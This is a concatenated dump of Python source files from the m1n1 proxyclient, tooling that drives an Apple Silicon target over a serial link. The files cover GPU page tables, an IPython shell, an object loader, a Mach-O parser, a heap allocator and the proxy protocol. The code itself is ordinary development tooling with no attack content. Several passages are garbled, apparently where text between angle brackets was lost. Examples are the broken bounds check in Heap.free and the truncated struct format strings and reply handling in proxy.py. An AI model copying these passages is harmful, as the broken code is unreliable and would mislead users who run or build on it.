self.ttbr1_base) self.flush_dirty() self.invalidate_cache() print("[UAT] Init complete") self.initialized = True def bind_context(self, ctx, ttbr0_base): assert ctx != 0 with self.handoff.lock(): self.set_l0(ctx, 0, ttbr0_base, ctx) self.set_l0(ctx, 1, self.ttbr1_base, ctx) self.flush_dirty() self.invalidate_cache() def dump(self, ctx, log=print): def print_fn(start, end, i, pte, level, sparse): type = "page" if pte.block() else "table" if sparse: log(f"{' ' * level}...") log(f"{' ' * level}{type}({i:03}): {start:011x} ... {end:011x}" f" -> {pte.describe()}") self.recurse_level(0, 0, self.gpu_region + ctx * 16, print_fn, print_fn) __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/ishell.py000066400000000000000000000120221453754430200173440ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import builtins import sys import __main__ from IPython import embed from traitlets.config import get_config c = get_config() c.InteractiveShellEmbed.colors = "Linux" from inspect import signature from . import sysreg from .proxy import * from .proxyutils import * from .utils import * __all__ = ["run_ishell"] cmd_list = {} subcmd_list = {} # Debug levels DBL_NONE = 0 DBL_INFO = 1 DBL_TRACE = 2 DBL_DEBUG = 3 DBL_EDEBUG = 4 db_level = DBL_NONE def debug_cmd(db=None): """Set debug level to integer %d(none)...%d(extreme debug)""" % ( DBL_NONE, DBL_EDEBUG, ) global db_level if db: db_level = db print("debug level=%d" % db_level) def help_cmd(arg=None): if db_level >= DBL_DEBUG: print("arg=%s" % repr(arg)) if arg: # cmd = arg.__qualname__ if callable(arg): cmd = arg.__name__ elif isinstance(arg, str): cmd = arg else: print("Unknown command: %s" % repr(arg)) return if db_level >= DBL_DEBUG: print("cmd=%s" % repr(cmd)) if cmd not in cmd_list: print("Undocumented command %s" % cmd) return hinfo = cmd_list[cmd] if isinstance(hinfo, str): print("%-10s : %s" % (cmd, hinfo)) return if cmd in subcmd_list: clist = subcmd_list[cmd] aname = cmd if db_level >= DBL_DEBUG: print("subcmd_list[%s] = %s" % (repr(cmd), repr(clist))) else: print("command %s is not documented" % cmd) return else: clist = cmd_list aname = "top level" print("Note: To display a category's commands quote the name e.g. help('HV')") print("List of %s commands:" % aname) for cmd in clist.keys(): hinfo = clist[cmd] if isinstance(hinfo, str): msg = hinfo.strip().split("\n", 1)[0] elif isinstance(hinfo, int): msg = "%s category - %d subcommands" % (cmd, hinfo) else: print("%s ?" % cmd) continue if len(cmd) <= 10: print("%-10s : %s" % (cmd, msg)) else: print("%s:\n %s" % (cmd, msg)) # commands is a dictionary for constructing the # InteractiveConsole with. It adds in the callables # in proxy utils iface and sysreg into commands def run_ishell(commands, msg=""): saved_display = sys.displayhook try: def display(val): if isinstance(val, int) and not isinstance(val, bool): builtins._ = val print(hex(val)) elif callable(val): val() else: saved_display(val) sys.displayhook = display # convenience commands["h"] = hex commands["sysreg"] = sysreg if "proxy" in commands and "p" not in commands: commands["p"] = commands["proxy"] if "utils" in commands and "u" not in commands: commands["u"] = commands["utils"] for obj_name in ("iface", "p", "u"): obj = commands.get(obj_name) obj_class = type(obj) if obj is None: continue for attr in dir(obj_class): if attr in commands or attr.startswith("_"): continue member = getattr(obj_class, attr) if callable(member) and not isinstance(member, property): cmd = getattr(obj, attr) commands[attr] = cmd for attr in dir(sysreg): commands[attr] = getattr(sysreg, attr) commands["help"] = help_cmd commands["debug"] = debug_cmd for obj_name in commands.keys(): obj = commands.get(obj_name) if obj is None or obj_name.startswith("_"): continue if callable(obj) and not isinstance(obj, property): try: desc = obj_name + str(signature(obj)) except: continue qn = obj.__qualname__ if qn.find(".") > 0: a = qn.split(".") if a[0] not in subcmd_list: subcmd_list[a[0]] = {} if a[0] not in cmd_list: cmd_list[a[0]] = 1 else: cmd_list[a[0]] += 1 clist = subcmd_list[a[0]] else: clist = None if commands[obj_name].__doc__: desc += " - " + commands[obj_name].__doc__ cmd_list[obj_name] = desc if isinstance(clist, dict): clist[obj_name] = desc embed(config=c, extensions=["m1n1.ishell_ext"], header=msg, user_ns=commands) finally: sys.displayhook = saved_display if __name__ == "__main__": from .setup import * commands = dict(__main__.__dict__) run_ishell(commands, msg="Have fun!") m1n1-1.4.11/proxyclient/m1n1/ishell_ext.py000066400000000000000000000012301453754430200202230ustar00rootroot00000000000000# SPDX-License-Identifier: MIT # Extension for ipython to handle monitor polling # and simd context after each executed line class PostExecuteWatcher(object): def __init__(self, ip): self.shell = ip def post_execute(self): mon = self.shell.user_ns.get("mon", None) if mon != None: try: mon.poll() except Exception as e: print(f"mon.poll() failed: {e!r}") u = self.shell.user_ns.get("u", None) if u != None: u.push_simd() def load_ipython_extension(ip): pew = PostExecuteWatcher(ip) ip.events.register("post_execute", pew.post_execute) m1n1-1.4.11/proxyclient/m1n1/loadobjs.py000066400000000000000000000144521453754430200176720ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from contextlib import contextmanager, ExitStack import sys, pathlib, os import subprocess import tempfile import bisect from .asm import NM, LD, OBJCOPY, ARMAsm __all__ = ["LinkedProgram"] def tool_output_lines(progname, *args): with subprocess.Popen([progname.replace("%ARCH", ARMAsm.ARCH)] + list(args), stdout=subprocess.PIPE) as proc: for line in proc.stdout: yield line.decode("ascii") proc.wait() if proc.returncode: raise Exception(f"{progname} (args: {args}) exited with status {proc.returncode}") def run_tool(progname, *args, silent=False): subprocess.check_call([progname.replace("%ARCH", ARMAsm.ARCH)] + list(args), stdout=subprocess.DEVNULL if silent else None) class LinkedProgram: SOURCE_ROOT = str(pathlib.Path(__file__).resolve().parents[2]) def __init__(self, u, base_object=None): self.u = u self.symbols = [] self.symaddrs = dict() self.base_object = base_object self._alloced_bases = [] self._attrs_to_clear = [] self._load_base_symbols() def _load_base_symbols(self): if self.base_object is None: suffix = "-raw" if not self.m1n1_is_macho() else "" self.base_object = f"build/m1n1{suffix}.elf" addrs = self._load_elf_symbols(self.base_object, self.u.proxy.get_base()) # sanity check: compare the .rela table between ELF and m1n1 image on target rela_base = addrs["_rela_start"] rela_length = addrs["_rela_end"] - rela_base rela_target = self.u.iface.readmem(rela_base, rela_length) tmp = os.path.join(tempfile.mkdtemp(), "bin") path = os.path.join(self.SOURCE_ROOT, self.base_object) run_tool(OBJCOPY, "-O", "binary", path, tmp, "--only-section=.rela.dyn") rela_objfile = open(tmp, "rb").read() if rela_objfile[:len(rela_target)] != rela_target: raise Exception(f"Mismatch between {self.base_object} and image on target") def m1n1_is_macho(self): p = self.u.proxy return p.read32(p.get_base()) == 0xfeedfacf def _load_elf_symbols(self, relpath, offset=0, objname=None, ignore=""): path = pathlib.Path(self.SOURCE_ROOT, relpath) symaddrs = dict() for line in tool_output_lines(NM, "-g", path): addr_str, t, name = line.split() addr = int(addr_str, 16) + offset if t in ignore: continue self.symbols.append((addr, name, objname)) symaddrs[name] = addr if t in "T" and not hasattr(self, name): setattr(self, name, self._wrap_call_to(addr)) if relpath != self.base_object: self._attrs_to_clear.append(name) self.symbols.sort() return symaddrs def load_obj(self, objfile, base=None): ALLOC_SIZE = 16*4096 if base is None: base = self.u.heap.memalign(0x4000, ALLOC_SIZE) self._alloced_bases.append(base) objfile = os.path.join(self.SOURCE_ROOT, objfile) tmp = tempfile.mkdtemp() + os.sep elffile = tmp + "elf" ld_script = tmp + "ld" binfile = tmp + "bin" with open(ld_script, "w") as f: f.write("SECTIONS {\n") f.write(f". = 0x{base:x};\n") f.write(".text : { *(.text .text.*) }\n") f.write(".data : { *(.got .data .data.* .rodata .rodata.* .bss .bss.*) }\n") f.write("}\n") for sym in self.symbols: f.write(f"{sym[1]} = 0x{sym[0]:x};\n") run_tool(LD, "-EL", "-maarch64elf", "-T", ld_script, "-o", elffile, objfile) run_tool(OBJCOPY, "-O", "binary", elffile, binfile) #run_tool("objdump", "-d", elffile) self._load_elf_symbols(elffile, ignore="A") with open(binfile, "rb") as f: buf = f.read() assert len(buf) <= ALLOC_SIZE self.u.iface.writemem(base, buf) self.u.proxy.dc_cvau(base, len(buf)) self.u.proxy.ic_ivau(base, len(buf)) def clear_objs(self): for name in self._attrs_to_clear: delattr(self, name) self._attrs_to_clear = [] for base in self._alloced_bases: self.u.free(base) self._alloced_bases = [] self.symbols = [(a, b, objname) for (a, b, objname) \ in self.symbols if objname == self.base_object] @contextmanager def _copy_args_to_target(self, args): heap = self.u.heap with ExitStack() as stack: args_copied = [] for arg in args: if type(arg) is str: arg = arg.encode("ascii") # fallthrough if type(arg) is bytes: p = stack.enter_context(heap.guarded_malloc(len(arg) + 1)) self.u.iface.writemem(p, arg + b"\0") args_copied.append(p) elif type(arg) is int: args_copied.append(arg) else: raise NotImplementedError(type(arg)) yield args_copied def _wrap_call_to(self, addr): def call_symbol(*args, call=self.u.proxy.call): with self._copy_args_to_target(args) as args_copied: return call(addr, *args_copied) return call_symbol def lookup(self, addr): idx = bisect.bisect_left(self.symbols, (addr + 1, "", "")) - 1 if idx < 0 or idx >= len(self.symbols): return None, None return self.symbols[idx] def load_inline_c(self, source): tmp = tempfile.mkdtemp() cfile = tmp + ".c" objfile = tmp + ".o" with open(cfile, "w") as f: f.write(source) run_tool("make", "-C", self.SOURCE_ROOT, "invoke_cc", f"OBJFILE={objfile}", f"CFILE={cfile}", silent=True) self.load_obj(objfile) if __name__ == "__main__": from m1n1.setup import * lp = LinkedProgram(u) lp.debug_printf("hello from the other side! (%d)\n", 42) lp.load_inline_c(''' #include "utils.h" int add(int a, int b) { debug_printf("adding %d and %d\\n", a, b); return a + b; } ''') print(f"1 + 2 = {lp.add(1, 2)}") m1n1-1.4.11/proxyclient/m1n1/macho.py000066400000000000000000000210661453754430200171630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from io import BytesIO, SEEK_END, SEEK_SET import bisect from construct import * import subprocess from .utils import * __all__ = ["MachO"] MachOLoadCmdType = "LoadCmdType" / Enum(Int32ul, SYMTAB = 0x02, UNIXTHREAD = 0x05, SEGMENT_64 = 0x19, UUID = 0x1b, BUILD_VERSION = 0x32, DYLD_CHAINED_FIXUPS = 0x80000034, FILESET_ENTRY = 0x80000035, ) MachOArmThreadStateFlavor = "ThreadStateFlavor" / Enum(Int32ul, THREAD64 = 6, ) MachOHeader = Struct( "magic" / Hex(Int32ul), "cputype" / Hex(Int32ul), "cpusubtype" / Hex(Int32ul), "filetype" / Hex(Int32ul), "ncmds" / Hex(Int32ul), "sizeofcmds" / Hex(Int32ul), "flags" / Hex(Int32ul), "reserved" / Hex(Int32ul), ) MachOVmProt = FlagsEnum(Int32sl, PROT_READ = 0x01, PROT_WRITE = 0x02, PROT_EXECUTE = 0x04, ) MachOCmdSymTab = Struct( "symoff" / Hex(Int32ul), "nsyms" / Int32ul, "stroff" / Hex(Int32ul), "strsize" / Hex(Int32ul), ) MachOCmdUnixThread = GreedyRange(Struct( "flavor" / MachOArmThreadStateFlavor, "data" / Prefixed(ExprAdapter(Int32ul, obj_ * 4, obj_ / 4), Switch(this.flavor, { MachOArmThreadStateFlavor.THREAD64: Struct( "x" / Array(29, Hex(Int64ul)), "fp" / Hex(Int64ul), "lr" / Hex(Int64ul), "sp" / Hex(Int64ul), "pc" / Hex(Int64ul), "cpsr" / Hex(Int32ul), "flags" / Hex(Int32ul), ) })), )) NList = Struct( "n_strx" / Hex(Int32ul), "n_type" / Hex(Int8ul), "n_sect" / Hex(Int8ul), "n_desc" / Hex(Int16sl), "n_value" / Hex(Int64ul), ) MachOCmdSegment64 = Struct( "segname" / PaddedString(16, "ascii"), "vmaddr" / Hex(Int64ul), "vmsize" / Hex(Int64ul), "fileoff" / Hex(Int64ul), "filesize" / Hex(Int64ul), "maxprot" / MachOVmProt, "initprot" / MachOVmProt, "nsects" / Int32ul, "flags" / Hex(Int32ul), "sections" / GreedyRange(Struct( "sectname" / PaddedString(16, "ascii"), "segname" / PaddedString(16, "ascii"), "addr" / Hex(Int64ul), "size" / Hex(Int64ul), "offset" / Hex(Int32ul), "align" / Hex(Int32ul), "reloff" / Hex(Int32ul), "nreloc" / Hex(Int32ul), "flags" / Hex(Int32ul), "reserved1" / Hex(Int32ul), "reserved2" / Hex(Int32ul), "reserved3" / Hex(Int32ul), )), ) MachOFilesetEntry = Struct( "addr" / Hex(Int64ul), "offset" / Hex(Int64ul), "entryid" / Hex(Int32ul), "reserved" / Hex(Int32ul), "name" / CString("ascii"), ) MachOCmd = Struct( "cmd" / Hex(MachOLoadCmdType), "args" / Prefixed(ExprAdapter(Int32ul, obj_ - 8, obj_ + 8), Switch(this.cmd, { MachOLoadCmdType.SYMTAB: MachOCmdSymTab, MachOLoadCmdType.UNIXTHREAD: MachOCmdUnixThread, MachOLoadCmdType.SEGMENT_64: MachOCmdSegment64, MachOLoadCmdType.UUID: Hex(Bytes(16)), MachOLoadCmdType.FILESET_ENTRY: MachOFilesetEntry, }, default=GreedyBytes)), ) MachOFile = Struct( "header" / MachOHeader, "cmds" / Array(this.header.ncmds, MachOCmd), ) class MachO: def __init__(self, data): if isinstance(data, bytes): self.io = BytesIO(data) else: self.io = data self.off = self.io.tell() self.io.seek(0, SEEK_END) self.end = self.io.tell() self.size = self.end - self.off self.io.seek(self.off, SEEK_SET) self.obj = MachOFile.parse_stream(self.io) self.symbols = {} self.load_info() self.load_fileset() def load_info(self): self.vmin, self.vmax = (1 << 64), 0 self.entry = None for cmd in self.obj.cmds: if cmd.cmd == MachOLoadCmdType.SEGMENT_64: self.vmin = min(self.vmin, cmd.args.vmaddr) self.vmax = max(self.vmax, cmd.args.vmaddr + cmd.args.vmsize) elif cmd.cmd == MachOLoadCmdType.UNIXTHREAD: self.entry = cmd.args[0].data.pc def prepare_image(self, load_hook=None): memory_size = self.vmax - self.vmin image = bytearray(memory_size) for cmd in self.get_cmds(MachOLoadCmdType.SEGMENT_64): dest = cmd.args.vmaddr - self.vmin end = min(self.size, cmd.args.fileoff + cmd.args.filesize) size = end - cmd.args.fileoff print(f"LOAD: {cmd.args.segname} {size} bytes from {cmd.args.fileoff:x} to {dest:x}") self.io.seek(self.off + cmd.args.fileoff) data = self.io.read(size) if load_hook is not None: data = load_hook(data, cmd.args.segname, size, cmd.args.fileoff, dest) image[dest:dest + size] = data if cmd.args.vmsize > size: clearsize = cmd.args.vmsize - size if cmd.args.segname == "PYLD": print("SKIP: %d bytes from 0x%x to 0x%x" % (clearsize, dest + size, dest + size + clearsize)) memory_size -= clearsize - 4 # leave a payload end marker image = image[:memory_size] else: print("ZERO: %d bytes from 0x%x to 0x%x" % (clearsize, dest + size, dest + size + clearsize)) image[dest + size:dest + cmd.args.vmsize] = bytes(clearsize) return image def get_cmds(self, cmdtype): for cmd in self.obj.cmds: if cmd.cmd == cmdtype: yield cmd def get_cmd(self, cmdtype): cmds = list(self.get_cmds(cmdtype)) if len(cmds) == 0: raise Exception(f"No commands of type {cmdtype}") if len(cmds) > 1: raise Exception(f"More than one commands of type {cmdtype} (found {len(cmd)})") return cmds[0] def load_fileset(self): self.subfiles = {} for fe in self.get_cmds(MachOLoadCmdType.FILESET_ENTRY): self.io.seek(self.off + fe.args.offset) subfile = MachO(self.io) self.subfiles[fe.args.name] = subfile for seg in subfile.get_cmds(MachOLoadCmdType.SEGMENT_64): self.symbols[f"{fe.args.name}:{seg.args.segname}"] = seg.args.vmaddr def add_symbols(self, filename, syms, demangle=False): try: subfile = self.subfiles[filename] except KeyError: raise Exception(f"No fileset entry for {filename}") sym_segs = {} for sym_seg in syms.get_cmds(MachOLoadCmdType.SEGMENT_64): sym_segs[sym_seg.args.segname] = sym_seg syms.load_symbols(demangle=demangle) symtab = [(v, k) for (k, v) in syms.symbols.items()] symtab.sort() for seg in subfile.get_cmds(MachOLoadCmdType.SEGMENT_64): if seg.args.segname not in sym_segs: continue sym_seg = sym_segs[seg.args.segname] start = bisect.bisect_left(symtab, (sym_seg.args.vmaddr, "")) end = bisect.bisect_left(symtab, (sym_seg.args.vmaddr + sym_seg.args.vmsize, "")) for addr, sym in symtab[start:end]: sname = f"{filename}:{sym}" self.symbols[sname] = addr - sym_seg.args.vmaddr + seg.args.vmaddr def load_symbols(self, demangle=False): self.symbols = {} cmd = self.get_cmd(MachOLoadCmdType.SYMTAB) nsyms = cmd.args.nsyms length = NList.sizeof() * nsyms self.io.seek(self.off + cmd.args.symoff) symdata = self.io.read(length) symbols = Array(nsyms, NList).parse(symdata) symbols_dict = {} for i in symbols: off = cmd.args.stroff + i.n_strx self.io.seek(self.off + off) name = self.io.read(1024).split(b"\x00")[0].decode("ascii") symbols_dict[name] = i.n_value if demangle: names = list(symbols_dict.keys()) argv = ["c++filt"] argv += names with subprocess.Popen(argv, stdin=subprocess.PIPE, stdout=subprocess.PIPE) as proc: demangled, _ = proc.communicate() demangled = demangled.decode("ascii").split("\n")[:-1] for name_mangled, name_demangled in zip(names, demangled): self.symbols[name_demangled] = symbols_dict[name_mangled] else: self.symbols = symbols_dict if __name__ == "__main__": import sys macho = MachO(open(sys.argv[1], "rb").read()) if len(sys.argv) > 2: syms = MachO(open(sys.argv[2], "rb").read()) macho.add_symbols("com.apple.kernel", syms) symtab = [(v, k) for (k, v) in macho.symbols.items()] symtab.sort() for addr, name in symtab: print(f"0x{addr:x} {name}") m1n1-1.4.11/proxyclient/m1n1/malloc.py000066400000000000000000000067111453754430200173430ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from contextlib import contextmanager __all__ = ["Heap"] class Heap(object): def __init__(self, start, end, block=64): if start%block: raise ValueError("heap start not aligned") if end%block: raise ValueError("heap end not aligned") self.offset = start self.count = (end - start) // block self.blocks = [(self.count,False)] self.block = block def malloc(self, size): size = (size + self.block - 1) // self.block pos = 0 for i, (bsize, full) in enumerate(self.blocks): if not full and bsize >= size: self.blocks[i] = (size, True) if bsize > size: self.blocks.insert(i+1, (bsize - size, False)) return self.offset + self.block * pos pos += bsize raise Exception("Out of memory") def memalign(self, align, size): assert (align & (align - 1)) == 0 align = max(align, self.block) // self.block size = (size + self.block - 1) // self.block pos = self.offset // self.block for i, (bsize, full) in enumerate(self.blocks): if not full: offset = 0 if pos % align: offset = align - (pos % align) if bsize >= (size + offset): if offset: self.blocks.insert(i, (offset, False)) i += 1 self.blocks[i] = (size, True) if bsize > (size + offset): self.blocks.insert(i+1, (bsize - size - offset, False)) return self.block * (pos + offset) pos += bsize raise Exception("Out of memory") def free(self, addr): if addr%self.block: raise ValueError("free address not aligned") if addr=self.count: raise ValueError("free address after heap") pos = 0 for i, (bsize, used) in enumerate(self.blocks): if pos > addr: raise ValueError("bad free address") if pos == addr: if used == False: raise ValueError("block already free") if i!=0 and self.blocks[i-1][1] == False: bsize += self.blocks[i-1][0] del self.blocks[i] i -= 1 if i!=(len(self.blocks)-1) and self.blocks[i+1][1] == False: bsize += self.blocks[i+1][0] del self.blocks[i] self.blocks[i] = (bsize, False) return pos += bsize raise ValueError("bad free address") def check(self): free = 0 inuse = 0 for i, (bsize, used) in enumerate(self.blocks): if used: inuse += bsize else: free += bsize if free + inuse != self.count: raise Exception("Total block size is inconsistent") print("Heap stats:") print(" In use: %8dkB"%(inuse * self.block // 1024)) print(" Free: %8dkB"%(free * self.block // 1024)) @contextmanager def guarded_malloc(self, size): addr = self.malloc(size) try: yield addr finally: self.free(addr) m1n1-1.4.11/proxyclient/m1n1/proxy.py000066400000000000000000001132321453754430200172520ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import platform, os, sys, struct, serial, time from construct import * from enum import IntEnum, IntFlag from serial.tools.miniterm import Miniterm from .utils import * from .sysreg import * __all__ = ["REGION_RWX_EL0", "REGION_RW_EL0", "REGION_RX_EL1"] # Hack to disable input buffer flushing class Serial(serial.Serial): def _reset_input_buffer(self): return def reset_input_buffer(self): return class UartError(RuntimeError): pass class UartTimeout(UartError): pass class UartCMDError(UartError): pass class UartChecksumError(UartError): pass class UartRemoteError(UartError): pass class Feature(IntFlag): DISABLE_DATA_CSUMS = 0x01 # Data transfers don't use checksums @classmethod def get_all(cls): return cls.DISABLE_DATA_CSUMS def __str__(self): return ", ".join(feature.name for feature in self.__class__ if feature & self) or "" class START(IntEnum): BOOT = 0 EXCEPTION = 1 EXCEPTION_LOWER = 2 HV = 3 class EXC(IntEnum): SYNC = 0 IRQ = 1 FIQ = 2 SERROR = 3 class EVENT(IntEnum): MMIOTRACE = 1 IRQTRACE = 2 class EXC_RET(IntEnum): UNHANDLED = 1 HANDLED = 2 EXIT_GUEST = 3 STEP = 4 class DCP_SHUTDOWN_MODE(IntEnum): QUIESCED = 0 SLEEP_IF_EXTERNAL = 1 SLEEP = 2 class PIX_FMT(IntEnum): XRGB = 0 XBGR = 1 class DART(IntEnum): T8020 = 0 T8110 = 1 T6000 = 2 ExcInfo = Struct( "regs" / Array(32, Int64ul), "spsr" / RegAdapter(SPSR), "elr" / Int64ul, "esr" / RegAdapter(ESR), "far" / Int64ul, "afsr1" / Int64ul, "sp" / Array(3, Int64ul), "cpu_id" / Int64ul, "mpidr" / Int64ul, "elr_phys" / Int64ul, "far_phys" / Int64ul, "sp_phys" / Int64ul, "data" / Int64ul, ) # Sends 56+ byte Commands and Expects 36 Byte Responses # Commands are format self.CMD_LEN: raise ValueError("Incorrect payload size %d"%len(payload)) payload = payload.ljust(self.CMD_LEN, b"\x00") command = struct.pack(" ") self.pted = True if c == 10: self.pted = False sys.stdout.write(chr(c)) sys.stdout.flush() def ttymode(self, dev=None): if dev is None: dev = self.dev tout = dev.timeout self.tty_enable = True dev.timeout = None term = Miniterm(dev, eol='cr') term.exit_character = chr(0x1d) # GS/CTRL+] term.menu_character = chr(0x14) # Menu: CTRL+T term.raw = True term.set_rx_encoding('UTF-8') term.set_tx_encoding('UTF-8') print('--- TTY mode | Quit: CTRL+] | Menu: CTRL+T ---') term.start() try: term.join(True) except KeyboardInterrupt: pass print('--- Exit TTY mode ---') term.join() term.close() dev.timeout = tout self.tty_enable = False def reply(self, cmd): reply = b'' while True: if not reply or reply[-1] != 255: reply = b'' reply += self.readfull(1) if reply != b"\xff": self.unkhandler(reply) continue else: reply = b'\xff' reply += self.readfull(1) if reply != b"\xff\x55": self.unkhandler(reply) continue reply += self.readfull(1) if reply != b"\xff\x55\xaa": self.unkhandler(reply) continue reply += self.readfull(1) cmdin = struct.unpack(">", hexdump(reply)) checksum = struct.unpack(">", hexdump(reply)) status, data, checksum = struct.unpack("> DATA:") chexdump(data) ccsum = self.data_checksum(data) if checksum != ccsum: raise UartChecksumError("Reply data checksum error: Expected 0x%08x, got 0x%08x"%(checksum, ccsum)) if self.enabled_features & Feature.DISABLE_DATA_CSUMS: # Extra sentinel after the data to make sure no data was lost sentinel = struct.unpack(" 6: raise ValueError("Too many arguments") args = list(args) + [0] * (6 - len(args)) req = struct.pack("<7Q", opcode, *args) if self.debug: print("<<<< %08x: %08x %08x %08x %08x %08x %08x"%tuple([opcode] + args)) reply = self.iface.proxyreq(req, reboot=reboot, no_reply=no_reply, pre_reply=None) if no_reply or reboot and reply is None: return ret_fmt = "q" if signed else "Q" rop, status, retval = struct.unpack(">>> %08x: %d %08x"%(rop, status, retval)) if reboot: return if rop != opcode: raise ProxyReplyError("Reply opcode mismatch: Expected 0x%08x, got 0x%08x"%(opcode,rop)) if status != self.S_OK: if status == self.S_BADCMD: raise ProxyCommandError("Reply error: Bad Command") else: raise ProxyRemoteError("Reply error: Unknown error (%d)"%status) return retval def request(self, opcode, *args, **kwargs): free = [] args = list(args) args2 = [] for i, arg in enumerate(args): if isinstance(arg, str): arg = arg.encode("utf-8") + b"\0" if isinstance(arg, bytes) and self.heap: p = self.heap.malloc(len(arg)) free.append(p) self.iface.writemem(p, arg) if (i < (len(args) - 1)) and args[i + 1] is None: args[i + 1] = len(arg) arg = p if arg < 0: arg &= (1 << 64) - 1 args2.append(arg) try: return self._request(opcode, *args2, **kwargs) finally: for i in free: self.heap.free(i) def nop(self): self.request(self.P_NOP) def exit(self, retval=0): self.request(self.P_EXIT, retval) def call(self, addr, *args, reboot=False): if len(args) > 5: raise ValueError("Too many arguments") return self.request(self.P_CALL, addr, *args, reboot=reboot) def reload(self, addr, *args, el1=False): if len(args) > 4: raise ValueError("Too many arguments") if el1: self.request(self.P_EL1_CALL, addr, *args, no_reply=True) else: try: self.request(self.P_VECTOR, addr, *args) self.iface.wait_boot() except ProxyCommandError: # old m1n1 does not support P_VECTOR try: self.mmu_shutdown() except ProxyCommandError: # older m1n1 does not support MMU pass self.request(self.P_CALL, addr, *args, reboot=True) def get_bootargs(self): return self.request(self.P_GET_BOOTARGS) def get_base(self): return self.request(self.P_GET_BASE) def set_baud(self, baudrate): self.iface.tty_enable = False def change(): self.iface.dev.baudrate = baudrate try: self.request(self.P_SET_BAUD, baudrate, 16, 0x005aa5f0, pre_reply=change) finally: self.iface.tty_enable = True def udelay(self, usec): self.request(self.P_UDELAY, usec) def set_exc_guard(self, mode): self.request(self.P_SET_EXC_GUARD, mode) def get_exc_count(self): return self.request(self.P_GET_EXC_COUNT) def el0_call(self, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") return self.request(self.P_EL0_CALL, addr, *args) def el1_call(self, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") return self.request(self.P_EL1_CALL, addr, *args) def gl1_call(self, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") return self.request(self.P_GL1_CALL, addr, *args) def gl2_call(self, addr, *args): if len(args) > 4: raise ValueError("Too many arguments") return self.request(self.P_GL2_CALL, addr, *args) def get_simd_state(self, buf): self.request(self.P_GET_SIMD_STATE, buf) def put_simd_state(self, buf): self.request(self.P_PUT_SIMD_STATE, buf) def reboot(self): self.request(self.P_REBOOT, no_reply=True) def sleep(self, deep=False): self.request(self.P_SLEEP, deep, no_reply=True) def write64(self, addr, data): '''write 8 byte value to given address''' if addr & 7: raise AlignmentError() self.request(self.P_WRITE64, addr, data) def write32(self, addr, data): '''write 4 byte value to given address''' if addr & 3: raise AlignmentError() self.request(self.P_WRITE32, addr, data) def write16(self, addr, data): '''write 2 byte value to given address''' if addr & 1: raise AlignmentError() self.request(self.P_WRITE16, addr, data) def write8(self, addr, data): '''write 1 byte value to given address''' self.request(self.P_WRITE8, addr, data) def read64(self, addr): '''return 8 byte value from given address''' if addr & 7: raise AlignmentError() return self.request(self.P_READ64, addr) def read32(self, addr): '''return 4 byte value given address''' if addr & 3: raise AlignmentError() return self.request(self.P_READ32, addr) def read16(self, addr): '''return 2 byte value from given address''' if addr & 1: raise AlignmentError() return self.request(self.P_READ16, addr) def read8(self, addr): '''return 1 byte value from given address''' return self.request(self.P_READ8, addr) def set64(self, addr, data): '''Or 64 bit value of data into memory at addr and return result''' if addr & 7: raise AlignmentError() return self.request(self.P_SET64, addr, data) def set32(self, addr, data): '''Or 32 bit value of data into memory at addr and return result''' if addr & 3: raise AlignmentError() return self.request(self.P_SET32, addr, data) def set16(self, addr, data): '''Or 16 bit value of data into memory at addr and return result''' if addr & 1: raise AlignmentError() return self.request(self.P_SET16, addr, data) def set8(self, addr, data): '''Or byte value of data into memory at addr and return result''' return self.request(self.P_SET8, addr, data) def clear64(self, addr, data): '''Clear bits in 64 bit memory at address addr that are set in parameter data and return result''' if addr & 7: raise AlignmentError() return self.request(self.P_CLEAR64, addr, data) def clear32(self, addr, data): '''Clear bits in 32 bit memory at address addr that are set in parameter data and return result''' if addr & 3: raise AlignmentError() return self.request(self.P_CLEAR32, addr, data) def clear16(self, addr, data): '''Clear bits in 16 bit memory at address addr that are set in parameter data and return result''' if addr & 1: raise AlignmentError() return self.request(self.P_CLEAR16, addr, data) def clear8(self, addr, data): '''Clear bits in 8 bit memory at addr that are set in data and return result''' return self.request(self.P_CLEAR8, addr, data) def mask64(self, addr, clear, set): '''Clear bits in 64 bit memory at address addr that are set in clear, then set the bits in set and return result''' if addr & 7: raise AlignmentError() return self.request(self.P_MASK64, addr, clear, set) def mask32(self, addr, clear, set): '''Clear bits in 32 bit memory at address addr that are set in clear, then set the bits in set and return result''' if addr & 3: raise AlignmentError() return self.request(self.P_MASK32, addr, clear, set) def mask16(self, addr, clear, set): '''Clear select bits in 16 bit memory addr that are set in clear parameter, then set the bits in set parameter and return result''' if addr & 1: raise AlignmentError() return self.request(self.P_MASK16, addr, clear, set) def mask8(self, addr, clear, set): '''Clear bits in 1 byte memory at addr that are set in clear parameter, then set the bits in set parameter and return the result''' return self.request(self.P_MASK8, addr, clear, set) def writeread64(self, addr, data): return self.request(self.P_WRITEREAD64, addr, data) def writeread32(self, addr, data): return self.request(self.P_WRITEREAD32, addr, data) def writeread16(self, addr, data): return self.request(self.P_WRITEREAD16, addr, data) def writeread8(self, addr, data): return self.request(self.P_WRITEREAD8, addr, data) def memcpy64(self, dst, src, size): if src & 7 or dst & 7: raise AlignmentError() self.request(self.P_MEMCPY64, dst, src, size) def memcpy32(self, dst, src, size): if src & 3 or dst & 3: raise AlignmentError() self.request(self.P_MEMCPY32, dst, src, size) def memcpy16(self, dst, src, size): if src & 1 or dst & 1: raise AlignmentError() self.request(self.P_MEMCPY16, dst, src, size) def memcpy8(self, dst, src, size): self.request(self.P_MEMCPY8, dst, src, size) def memset64(self, dst, src, size): if dst & 7: raise AlignmentError() self.request(self.P_MEMSET64, dst, src, size) def memset32(self, dst, src, size): if dst & 3: raise AlignmentError() self.request(self.P_MEMSET32, dst, src, size) def memset16(self, dst, src, size): if dst & 1: raise AlignmentError() self.request(self.P_MEMSET16, dst, src, size) def memset8(self, dst, src, size): self.request(self.P_MEMSET8, dst, src, size) def ic_ialluis(self): self.request(self.P_IC_IALLUIS) def ic_iallu(self): self.request(self.P_IC_IALLU) def ic_ivau(self, addr, size): self.request(self.P_IC_IVAU, addr, size) def dc_ivac(self, addr, size): self.request(self.P_DC_IVAC, addr, size) def dc_isw(self, sw): 